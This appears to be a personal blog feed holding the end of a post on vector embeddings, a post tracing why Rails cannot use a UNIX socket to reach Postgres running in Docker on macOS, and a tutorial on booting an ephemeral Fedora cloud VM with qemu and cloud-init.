We can visibly see that the model has semantically grouped all the football finishing positions, pickled foods and limbed animals close to one another. These vectors have meaning!

Now, what if we create an embedding for another sentence: Did palace win the premier league? Imagine this takes the place of our $(3,4)$ vector from earlier, and now we want to find the closest vector stored in our database. We can once again go back to calculating the L2 distance for the nearest result.

If you're interested in going further, note that we're heading into a territory known as semantic search, which is one of the most exciting use cases for a vector database.

The response? Crystal Palace finished 10th in the premier league in 2023/24. Oh well. Maybe next year.

Vectors are technically not points and they aren't held in fixed position in space. In this article, let's just say we will anchor our points relative to the origin $(0,0)$ of our coordinate system and we'll use the terms interchangeably for the sake of simplicity. Another term we can use for these are positional vectors. ↩︎
This is also known as Euclidean distance. There are also other distance measures, such as cosine distance and L1/Manhattan distance. I think cosine distance is often extremely popular, but I personally find L2 the most straightforward to visualise. ↩︎
OK, quickly, one more thing: you could also look at this as if it was $7^2 + 8^2 \approx 10.63^2$ , or generalised further into Pythagoras' famous $a^2 + b^2 = c^2$ , which blows my mind. Triangles are everywhere! ↩︎

Why Can't Rails Use UNIX Sockets With Containerized Postgres?

2023-07-15T00:00:00Z

I wasn't paying attention while setting up a work Rails project recently (my level of Rails proficiency is firmly winging it) and I bumped into this:

# bundle manages ruby dependencies, rake is a ruby build tool
# this command is saying: hey, please run the task that sets up my database
$ bundle exec rake db:setup
connection to server on socket "/tmp/.s.PGSQL.5432" failed: No such file or directory

I spend a good amount of time blowing up databases, sometimes on purpose but mostly by accident, so for my development workflow I tend to run instances of Postgres in containers.

Most projects run just fine: they dial localhost on port 5432 and the good times roll. In this instance, however, I was ignoring this project's README.md, which advocated a local install of the wonderful Postgres.app. Postgres runs as a server, which can be a little fussy in terms of setup, and Postgres.app simplifies the whole process into a standard macOS application.

Still: what was going on here? socket? /tmp/.s.PGSQL.5432? No such file? What is this word soup? Aren't we supposed to be connecting to a database? I had a perfectly good Postgres container primed and waiting on port 5432! No, I have not read the project's README!

Let's unwind a little. Rails conventionally stores settings relating to the database in config/database.yml, so that was a natural first destination. The section for host was commented out, and featured this context: Connect on a TCP socket. Omitted by default since the client uses a domain socket that doesn't need configuration.

The most straightforward thing to do for my workflow would be to uncomment that host line out and set it to connect over TCP to localhost:5432. That's actually the only thing you can really do in this situation (read: when using macOS, and without some arcane trickery) but if you're anything like me you're ready to take an excruciatingly long (and fun, I hope!) journey to figure out why that is.

Socket to Me

So, cool, let's dig deeper: we have a rake task that wants to setup a Rails application, and it needs to speak to something external to itself - in this instance, a database - in order to go about its business. If you want to sound smart, you'll of course call this something like interprocess communication.

Perhaps the most famous method of interprocess communication is the socket. A socket, in this context, is usually going to refer to sending data through the network, out into the magical world of the internet, and back again.

This is most commonly done using two nifty protocols: TCP and IP. That's what I was assuming our rake command would be using to reach out to Postgres - that's what we'd get if we connected to localhost:5432.

One super interesting detail of all this is that our applications aren't actually allowed to talk over a socket without getting permission: sitting between our socket and Ruby (or Python, JavaScript or any programming language) is going to be the operating system. And it's the operating system that does a lot of the heavy lifting.

macOS is a POSIX-compatible operating system, with POSIX being a set of standards for compatibility between operating systems. Linux is generally another one. POSIX operating systems use the Berkeley Sockets API for a standardised method of managing network connections.

So, we have to ask the OS:

So here we have us, the user, executing code written in Ruby, which provides its own abstraction of the underlying Berkeley Sockets API. The most common Ruby interpreter is written in C - you'll almost certainly know if you're not using it - and its Socket class itself calls out, via POSIX C libraries, to the operating system kernel (interacting with sockets is just a few of the many possible system calls). Finally, the operating system establishes and maintains the socket connection. So, and I find this wonderful, our little unassuming chain of events ripples all the way through into the protected core of the operating system.

On macOS, we can use a program called dtruss (warning: setting up dtruss to work is bit of a faff) to take a peek and see what system calls our applications are making. Here's it running for our bundle exec rake db:setup task.

	PID/THRD  SYSCALL(args) 		 = return

[...]

23078/0x3057d:  socket(0x1, 0x1, 0x0)		 = 10 0
23078/0x3057d:  fcntl(0xA, 0x3, 0x2)		 = 2 0
23078/0x3057d:  fcntl(0xA, 0x4, 0x6)		 = 0 0
23078/0x3057d:  fcntl(0xA, 0x2, 0x1)		 = 0 0
23078/0x3057d:  setsockopt(0xA, 0xFFFF, 0x1022)		 = 0 0
23078/0x3057d:  connect(0xA, 0x7F9B69ACE950, 0x6A)		 = -1 Err#2
23078/0x3057d:  close(0xA)		 = 0 0

Let's dive in and explore a couple of these calls: socket and connect.

socket is defined with the signature of int socket(int domain, int type, int protocol); you can probably look it up yourself on your machine with man 2 socket. We're calling it with a domain argument of 1, a type argument of 1 and a protocol of 0 (the dtruss output shows our numbers in hexadecimal format).

We can map those int values to constants in sys/socket.h (on my machine that file is located at /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/socket.h, but your mileage may vary) and see that the first two values correspond to AF_UNIX and SOCK_STREAM. The last value is set to 0, which we can lookup in /etc/protocols and see that it represents a generic catch-all internet result.

The return value from socket is shown as 10 0 - we're actually tracking two values, which feels a little cool and unfamiliar. The first is the return value from the syscall: 10. This is a reference to the file descriptor of the new socket, which we'll get to in a minute. The second return value is 0, which represents the global errno variable used by the kernel to add more context to system call failures. 0 means all good, which is great.

So we've now confirmed our expectation that the macOS kernel creates and manages a socket for our Ruby application. We can also see that we asked the operating system for a UNIX socket (AF_UNIX). These are also known as domain sockets, which is what database.yml mentioned. We said that sockets usually travel over the internet, but these UNIX sockets are slightly different: they send messages between processes directly via the operating system kernel itself. These bytes aren't even making it to our networking hardware.

Compare that to TCP/IP over AF_INET:

Regardless of their type, sockets lie dormant after being created, waiting for a connect call. The first argument we send to connect is an integer 10, which is the reference to the file descriptor - apologies, I know, I said we'd get to those and we haven't yet - of the socket we got earlier. The next argument is the memory address, 0x7F9B69ACE950, which points to a struct (of type sockaddr_un) with a member field (sun_family) containing the path to the /tmp/.s.PGSQL.5432 file. If we were initializing that struct directly in C, it might look like this:

struct sockaddr_un my_cool_socket = {
    .sun_family = AF_UNIX,
    .sun_path = "/tmp/.s.PGSQL.5432"
};

The final argument to connect is the length, in bytes, of the aforementioned structure. Our file does not exist, so the connect call returns a -1 (the universal sign of failure) and it sets that global errno variable used by the kernel to 2.

What does 2 mean here? We can take a peep on macOS with man errno, which gives us this: 2 ENOENT No such file or directory. A component of a specified pathname did not exist, or the pathname was an empty string.

Sounds about right! Our program is trying to connect to the UNIX socket file as a client, and the lack of that file's existence means that there's no corresponding server to chat to; the Postgres we have running in a container is only exposing TCP/IP to our macOS system.

File Under Something

It is a common refrain to say that almost everything in UNIX is a file. The sockets we create with the socket syscall are files, our desired /tmp/.s.PGSQL.5432 UNIX domain socket path is a file and, you know, files we normally associate with being files are also files. The UNIX file is itself this kind of wonderful abstraction that allows us to (mostly) avoid the ins-and-outs of, say, how these files are actually stored as bytes.

lsof conjures up a beautiful list of all open files on the system. It's huge:

# wc -l counts the number of lines
$ sudo lsof | wc -l
   15413

In its default state, lsof looks at every file being used by every process. Processes are a pretty powerful abstraction used by the operating system to make computers work, and at a high-level each process on the system represents a running program.

As part of running each process, the operating system kernel keeps track of the files allocated to it. Each and every process starts with three file descriptors - 0, 1 and 2 - which represent stdin, stdout and stderr. Right off the bat, this shows us that files don't have to correspond with our traditional mental model of a file.

File descriptors are like a ticket for the process to use; the operating system sits between the process and the files, and read and write commands have to go through it (via some more operating system calls). Processes go up to the operating system and ask to, say, read x number of bytes from the file represented by file descriptor y. The operating system then goes off, runs a series of checks, and then may return the result of that request if everything is tickety-boo.

Each process also gets its own process id (commonly called a pid) and we can look all those up with the ps command:

# -A displays processes belonging to all users, including those that aren't being used from the current terminal
$ ps -A | wc -l
     507

At this point, I've installed and started the aforementioned Postgres.app so we have a working reference point for what we should be seeing. With a Postgres server up and running locally, we can run ps and then we can grep through that:

$ ps -A | grep postgres
 7847 ??         0:54.81 /Applications/Postgres.app/Contents/Versions/14/bin/postgres -D /Users/martin/Library/Application Support/Postgres/var-14 -p 5432
 7849 ??         0:00.38 postgres: checkpointer
 7850 ??         0:06.02 postgres: background writer
 7851 ??         0:05.06 postgres: walwriter
 7852 ??         0:41.56 postgres: autovacuum launcher
 7853 ??         3:05.86 postgres: stats collector
 7854 ??         0:00.46 postgres: logical replication launcher
16014 ttys002    0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox postgres

Postgres runs a few processes, but at a guess the /bin/postgres one is probably the one we're looking for. So that's got a pid of 7847. We can feed that pid back to lsof:

# -P stops converting port numbers to port names (e.g. port 80 to http), -p filters by a PID
$ lsof -Pp 7847
COMMAND   PID   USER   FD    TYPE             DEVICE SIZE/OFF                NODE NAME
[...snip]
postgres  7847  martin 10u   unix             0xb49e813effdd307b  0t0        /tmp/.s.PGSQL.5432

If we peek into the pid of Postgres.app, we can indeed see a path for our /tmp/.s.PGSQL.5432 file. We can see in our TYPE section that it is, as we explored, a UNIX domain socket.

Our file descriptor integer for /tmp/.s.PGSQL.5432 associated with this process is marked as 10 (lsof suffixes it with a u, which means it's open for reading and writing).

tmp/.s.PGSQL.5432 is a file, so it also conforms with standard UNIX file permissions:

# -l displays 'long mode': file mode, number of links, owner name, group name, number of bytes in the file, abbreviated month, day-of-month file was last modified, hour file last modified, minute file last modified, and the pathname.
$ ls -l /tmp/.s.PGSQL.5432
srwxrwxrwx  1 martin  wheel  0 10 Aug 21:40 /tmp/.s.PGSQL.5432

The srwxrwxrwx section is the file mode - the first character s shows that this is a socket link, and the rwxrwxrwx shows that the socket can be read, written and executed for the owner, group and other users on the system; it's wide open. If it showed, say, srwx------ (700 in octal notation) then only the owner (in this example, martin) could interact with it.

One thing that always blows my mind while simultaneously making perfect sense is that the file /tmp/.s.PGSQL.5432 here isn't actually hitting the disk to read and write bytes. Writing to the disk is much slower than keeping information in kernel memory. And, because you're not going through extra layers of networking, communication over UNIX sockets should technically be faster than using a localhost TCP/IP connection.

In the context of day-to-day local development, you will almost certainly not need that extra speed, most of the time...

... but just how much faster, though?

$ time client -network "tcp" -address "localhost:8080" -input "./war-and-peace.txt" -loop 10
5.73s user 9.54s system 66% cpu 22.862 total

$ time client -network "unix" -address "./sock.sock" -input "./war-and-peace.txt" -loop 10
1.55s user 2.82s system 73% cpu 5.955 total

$ time client -network "tcp" -address "localhost:8080" -input "./war-and-peace.txt" -loop 10 -users 10
49.94s user 120.26s system 194% cpu 1:27.39 total

$ time client -network "unix" -address "./sock.sock" -input "./war-and-peace.txt" -loop 10 -users 10
55.63s user 145.38s system 403% cpu 49.802 total

Note that I'm no expert in benchmarking, so this should not be considered especially authoritative. Still, this little client executable dials out to an echo server which beams back whatever it receives. The client is set to send and receive each line of the Project Gutenberg edition of Leo Tolstoy's War and Peace, because culture is important.

On my machine, looping through the book ten times with a single user was almost 74% faster on the UNIX domain socket, and 43% faster when having ten concurrent users loop through the book ten times apiece.

Dock Around The Clock

So now we've been on a journey. We know that our Rails application, by default, is configured to use UNIX sockets to connect to Postgres for local development. We're also well over 2000 words into a blog post on something that could (and, again: should) have been fixed just fine to using TCP by changing just one line of code.

Now, we'll remove Postgres.app from this system and bring Docker back into the mix. We'll setup an ephemeral Postgres container:

$ docker run \
  --rm \
  --name my-cool-postgres-container \
  -e POSTGRES_PASSWORD=cool \
  -p 5432:5432 \
  -d \
  postgres:14

And, from inside that container, ls out the /tmp directory to look for the .s.PGSQL.5432 file:

$ docker exec -it my-cool-postgres-container /bin/bash
root@8759862222c5:/tmp# ls -al /tmp
total 8
drwxrwxrwt 1 root root 4096 Jun 23 14:27 .
drwxr-xr-x 1 root root 4096 Aug 16 06:17 ..

Oh. It's not there. Let's find it:

# 2>/dev/null redirects all errors to /dev/null, which is like a black hole
postgres@8759862222c5:/$ find / -name ".s.PGSQL.5432" 2>/dev/null
./run/postgresql/.s.PGSQL.5432

It is, perhaps counter-intuitively, in a different place inside the container. How confusing!

Running to the Postgres documentation shows that the configuration value we might be interested in is called unix_socket_directories, and the SHOW SQL command can be used to see the current setting.

$ docker exec -it my-cool-postgres-container psql -U postgres -c "SHOW unix_socket_directories"
 unix_socket_directories
-------------------------
 /var/run/postgresql
(1 row)

Another path! Now we're even more confused.

So, we've got the Postgres running inside the container saying it will save its UNIX sockets into /var/run/postgresql, but our find command spots it in /run/postgresql. And outside of the container, the Postgres running on the macOS pops the socket in /tmp.

The documentation hints at to what might be going on: The default value is normally /tmp, but that can be changed at build time. So the Postgres.app installation on macOS is presumably popping it in the default spot.

Now, let's head back inside the container. Instead of macOS, we're now running Linux. The typical convention on Linux points to /run as the home for UNIX sockets. But Postgres also configures itself to use /var/run, which (these days) has the same purpose as /run but is maintained for legacy reasons. The specification mentions that /var/run can be symlinked to run, so let's take a look:

postgres@8759862222c5:/$ ls -al /var/run
lrwxrwxrwx 1 root root 4 Jun 22 00:00 /var/run -> /run

So, that (mostly) explains that!

Now, we know where the socket file exists inside the container - so we can use a Docker bind mount to expose it to our macOS filesystem.

$ docker run \
  --rm \
  --name my-cool-postgres-container \
  -v /tmp/postgresql:/run/postgresql \
  -e POSTGRES_PASSWORD=cool \
  -d \
  postgres:14

We can see the file from the macOS host system, which is pretty cool.

But we still won't be able to connect to it. Womp womp.

Hitting Dock Bottom

We've established a couple of really important things:

UNIX sockets enable two separate processes to communicate via the operating system kernel
Socket files provide a namespace for both processes (the server and the client) to find each other

You may have intuitively felt this coming, but here it is: even with the file exposed from our container to our macOS host machine, a process on the host (rake) and a process inside a container (postgres) cannot speak to each other over a UNIX socket. We've already mentioned that the actual file isn't used to send the data and is instead managed by the kernel. And on macOS there's actually two different operating system kernels in play.

Docker on macOS quietly sets up its own virtual machine. It's deftly integrated into Docker Desktop, and it's almost completely invisible to the end user - you have to really go poking for it to see a trace in your system, but each of your containers is communicating with a separate (Linux) operating system kernel to the host system.

What happens, then, is that the Postgres installation creates a UNIX socket which it registers with the Linux kernel inside this Linux VM.

You can expose the resulting .s.PGSQL.5432 file to the macOS kernel, but it will shrug it off as it has no recollection of that file. It doesn't mean anything to macOS - it hasn't received any of those vital system calls: as far as the macOS kernel is concerned it's just an empty file.

Warning: Everything After This Point Is Awful

Now, there is an incredibly convoluted way we can get this communication up and running that will almost entirely defeat any real point of wanting to use a UNIX socket between a macOS host and a container. So, obviously, let's do it. But, you know, never actually do this.

We can use socat, which will let us proxy between TCP and UNIX domain sockets.

We're going create another 'sidecar' container that will have access to the socket file that Postgres uses, and then create a TCP proxy that our macOS kernel can communicate with. Yup. That's frightfully awful, but also awesome.

Let's set it up. We'll create a Dockerfile, which installs socat and copies a bash script into an Alpine container. And then we'll make a compose.yml file to let docker compose do the heavy lifting. I won't go through the code line-by-line here, but you can dig into the associated GitHub repo if you'd like to see it in action or give it a whirl on your machine.

Our compose.yml will have two services, db and proxy. They'll share a volume so that the proxy service can interact with the UNIX domain socket that db sets up, and as they're both inside Docker they'll be within the virtual machine and therefore can chat to the same Linux kernel. The proxy service will then forward the UNIX socket to a TCP port (5433) which we'll expose to the macOS host.

Now, on the macOS host machine we need to create another socat connection which listens for connections to the UNIX socket at /tmp/.s.PGSQL.5432 and then proxies them over to the port we're sharing with our proxy container:

$ socat -d -d UNIX-LISTEN:/tmp/.s.PGSQL.5432,unlink-early,fork TCP:localhost:5433

But doesn't all this extra weight, going through TCP and back out again, ultimately give us extra overhead, make it less performant, and make all of this a largely pointless exercise? Oh, definitely!

... but just how much more pointless, though?

$ time client -network "unix" -address "/tmp/server.sock" -input "./war-and-peace.txt" -loop 1 1.20s user 1.75s system 3% cpu 1:25.29 total

$ time build/client -network "unix" -address "/tmp/server.sock" -input "./war-and-peace.txt" 11.05s user 15.93s system 3% cpu 13:23.49 total

Wow. We've gone from 0:49 to 13:23.49, a ~1500% increase.

Note that having to communicate through the Docker networking (and, by extension, the HyperKit VM) adds some overhead even without the socket proxying.

This is by no means a performant solution, then, but it was extremely fun to poke around the system, realise how deeply intertwined the operating system is networking and to ultimately try and tease Docker into a non-standard configuration.

And, even better, if we go back to that original problem...

$ bundle exec rake db:setup
Created database 'backend_development'
Created database 'backend_test'

$ echo $?
0

Amazing! But I think just this one time I'll abandon the Rails doctrine and go with the one-line configuration over convention. Also: Rails is pretty cool! When I finally stopped going down this silly rabbit hole I had a really fun time using it for the aforementioned work project.

Boot an ephemeral Linux VM in macOS with qemu

2023-07-05T00:00:00Z

I work on macOS, but sometimes it's very helpful to tinker with a full-fat Linux environment. Booting up a whole virtual machine is going to be more heavyweight than running something like docker run --rm -it fedora , but as I host most of my personal projects on a boring server it can be useful to have a quick(ish) feedback loop for testing things like systemd and cron.

Many Linux distributions provide cloud images, which are generally comparable to their server versions but designed to boot without a manual install process. These types of images pair really well with qemu, an open-source system emulator that can use hardware virtualisation (macOS has the Hypervisor framework) to run disposable guest operating systems.

Let's make sure we have everything we need:

$ brew install qemu curl gnupg xorriso

We can then grab the current cloud image for Fedora, but you can replace this with basically any distro you want:

# I'm an old man using an x86 machine, amend to aarch64 if you're fancy
$ curl -O https://download.fedoraproject.org/pub/fedora/linux/releases/38/Cloud/x86_64/images/Fedora-Cloud-Base-38-1.6.x86_64.qcow2
$ curl -O https://download.fedoraproject.org/pub/fedora/linux/releases/38/Cloud/x86_64/images/Fedora-Cloud-38-1.6-x86_64-CHECKSUM
$ curl -O https://fedoraproject.org/fedora.gpg
$ gpgv --keyring ./fedora.gpg Fedora-Cloud-38-1.6-x86_64-CHECKSUM
$ sha256sum -c Fedora-Cloud-38-1.6-x86_64-CHECKSUM

And then run our shiny new Fedora-Cloud-38-1.6-x86_64.img using qemu:

$ qemu-system-x86_64 \
	-accel hvf \
	-cpu host \
	-m 1G \
	-drive if=virtio,file=Fedora-Cloud-Base-38-1.6.x86_64.qcow2 \
	-nic user,model=virtio-net-pci,hostfwd=tcp:127.0.0.1:2222-:22 \
	-snapshot \
	-nographic

Woah. That's a lot. What's going on here?

Your applications, for the most part, want to spend their time communicating with all the fabulous hardware you have in your computer - CPU, memory, network card, GPU, storage, etc. However, for many eminently sensible reasons, your software isn't allowed to speak directly to this hardware, and instead sends and receives a bunch of system calls through an operating system acting as a happy intermediary.

Virtualisation add another layer of indirection to all this, allowing you to run 'guest' operating systems which think they're talking directly with computer hardware but are instead talking to another operating system, known as the host. Many CPUs feature technology to allow this to all happen with maximum performance and minimum overhead, and contemporary machines can offer performance almost as good on many virtualisation workloads as running a single operating system communicating straight with the hardware.

The magic software that makes this work is called a hypervisor, and historically there's been chat about hypervisors that operate in place of a main operating system (known as Type 1) and hypervisors that operate on top of an existing operating system (or Type 2). We won't go into that here - instead, we'll just enjoy a broad, top-level visualisation of how a guest operating system loosely functions:

Qemu is quite low-level compared to other software in this space, and is perhaps more commonly used via higher-level abstractions like libvirt. Running it directly exposes you to many, many, many many many command line switches, which you will continually forget time and time again. But I think there's a big advantage here, for my relatively straightforward use case at least, in that it can be housed very nicely in a little stateless, portable shell script that you check-in to version control. Also, I've never had too much luck with libvirt on macOS. And, most wonderfully, it saves you having to learn another configuration format on top.

Here's what each of those flags means:

`-accel hvf`

Use the macOS hypervisor framework. Computer go fast!

`-cpu host`

This uses CPU host passthrough, which means we're not emulating a CPU in our guest environment. This should give us better performance than if we, say, wanted our VM to think our x86 processor was actually an aarch64 one.

`-m 1G`

This sets the amount of available memory to the guest OS. So while my machine has 16GB of memory, our Linux VM won't be able to use more than 1GB. I normally set this to as close to the production server as possible.

`-drive if=virtio,file=Fedora-Cloud-Base-38-1.6.x86-64.qcow2`

This mounts the Fedora image file we've downloaded as the filesystem for the VM. To do this we use VirtIO, another emulation framework but for IO devices, to mount the Fedora image. macOS takes care of all of this for us.

`-nic user,model=virtio-net-pci,hostfwd=tcp:127.0.0.1:2222-:22`

The -nic flag enables networking, once again using VirtIO. User networking in qemu defaults to a 10.0.2.0/24 address space, with the second IP in the network reserved as the address of the host: 10.0.2.2. We also use the hostfwd option to forward port 2222 on the host to port 22 on the guest, for SSH.

`-snapshot`

Writes to temporary files instead of the disk image, meaning everything gets nuked when the guest OS is stopped. This saves us having to make another qcow2 file.

`-nographic`

This disables graphical support, and instead pipes the machine's serial port to the terminal. The main gotcha here is that you have to press Ctrl + A, then X in order to quit. You will definitely forget this.

This is all working great, and now we get a login prompt for our machine-in-a-machine. Wait, a login? Uh oh:

Fedora Linux 38 (Cloud Edition)
Kernel 6.2.9-300.fc38.x86_64 on an x86_64 (ttyS0)

eth0: 10.0.2.15 fec0::7b27:4767:382e:dafc
localhost login:

This can be a tricky moment. How are you supposed to login? What's the password going to be? You can try fedora here, or maybe root - but unfortunately you're not getting past this screen (for now).

Instead of Googling the answer, we can be indulgent and poke around a bit first. Our image file is in a qcow2 format, which is the default for qemu. I don't know how to work directly with that on macOS, but luckily we also have qemu-img which can convert to a more common img format:

$ qemu-img convert -f qcow2 -O raw Fedora-Cloud-Base-38-1.6.x86_64.qcow2 fedora.img

The fedora.img file contains multiple partitions, one of which contains a standard Linux directory layout. If we mount that partition (aside: getting macOS to recognise ext4 and btrfs filesystems is a bit of a faff that I won't cover here) we can check out the filesystem:

# /etc/shadow contains information about a system's users
$ cat /etc/shadow | grep root
root:!locked::0:99999:7:::

As expected, the root user is locked (thanks to the !) and so we can't login with a password.

The next bit requires a bit of background/circular knowledge (you need to know where to check for cloud-init, which you wouldn't know to do unless you knew about cloud-init) but we can also check that there's a file at /etc/cloud/cloud.cfg:

$ cat /etc/cloud/cloud.cfg | wc -l
108

This suggests our Fedora Cloud distribution is indeed using a tool called cloud-init to handle its configuration, including users and groups. This isn't a surprise: it's pretty much the de facto standard for cloud images. The documentation for cloud-init suggests that each distribution sets up a default user, which we can check:

$ cat /etc/cloud/cloud.cfg | grep 'default_user:' -A 6
   default_user:
     name: fedora
     lock_passwd: True
     gecos: fedora Cloud User
     groups: [wheel, adm, systemd-journal]
     sudo: ["ALL=(ALL) NOPASSWD:ALL"]
     shell: /bin/bash

So, by the time we run this image in a VM, cloud-init has done its magic and we do have a fedora user - but it doesn't have a password specified by default. So we can't login (yet). We need to further configure our VM instance using cloud-init. The documentation has a pretty good tutorial to get up and running, which I'll mostly be recapping here.

In short: we need to feed it some YAML. Of course you do, because you can't configure something intended for the cloud without at least some YAML.

We'll setup a directory and the relevant files:

$ mkdir cloud-init && touch cloud-init/{user,meta,vendor}-data

And then populate our user-data file:

$ cat << EOF > ./cloud-init/user-data
#cloud-config
password: password
chpasswd:
  expire: False

EOF

I don't worry about the meta-data and vendor-data files, but having them exist (even if empty) will speed up the boot time of the VM.

The next step is to get the operating system aware of these files. With cloud-init's NoCloud data source, that's done by mounting a CIDATA volume or using a webserver. The latter is how the real cloud servers will operate, but that means having a webserver running in another tab and that feels like making more faff when it comes to scripting all this.

Instead, we can make a CD image with xorriso:

$ xorriso -outdev ./nocloud.iso \
  -joliet on \
  -blank as_needed \
  -map ./cloud-init/ / \
  -volid CIDATA

And return to qemu-system-x86_64, mounting our nocloud.iso as another drive:

$ qemu-system-x86_64 \
  -accel hvf \
  -cpu host \
  -m 1G \
  -drive if=virtio,file="Fedora-Cloud-Base-38-1.6.x86_64.qcow2" \
  -drive if=virtio,file="nocloud.iso",index=2,media=cdrom \
  -nic user,model=virtio-net-pci,hostfwd=tcp:127.0.0.1:2222-:22 \
  -snapshot \
  -nographic

Whew! That's a lot. But, once that machine boots, we can login as fedora and use our brand new password of password:

Fedora Linux 38 (Cloud Edition)
Kernel 6.2.9-300.fc38.x86_64 on an x86_64 (ttyS0)

eth0: 10.0.2.15 fec0::5962:c9cc:4f1f:45fb
localhost login: fedora
Password:
[fedora@localhost ~]$ hostnamectl
     Static hostname: localhost
           Icon name: computer-vm
             Chassis: vm 🖴
          Machine ID: d6416aa014fa49268ab214be6ee827d9
             Boot ID: e6b3da91a607484d8927910580cd9a6c
      Virtualization: qemu
    Operating System: Fedora Linux 38 (Cloud Edition)
         CPE OS Name: cpe:/o:fedoraproject:fedora:38
      OS Support End: Tue 2024-05-14
OS Support Remaining: 10month 3w 1d
              Kernel: Linux 6.2.9-300.fc38.x86_64
        Architecture: x86-64
     Hardware Vendor: QEMU
      Hardware Model: Standard PC _i440FX + PIIX, 1996_
    Firmware Version: rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org
       Firmware Date: Tue 2014-04-01

Perfect! From here there's a lot you can do that your regular containerised environment just can't reach, from exploring systemd, playing around with cgroups or poking around with some complicated iptables commands. It's also probably worth properly setting up SSH and customising a proper user - the documentation will set you off down that road.

Also: it's just cool to be able to spin up a Linux instance every now and then.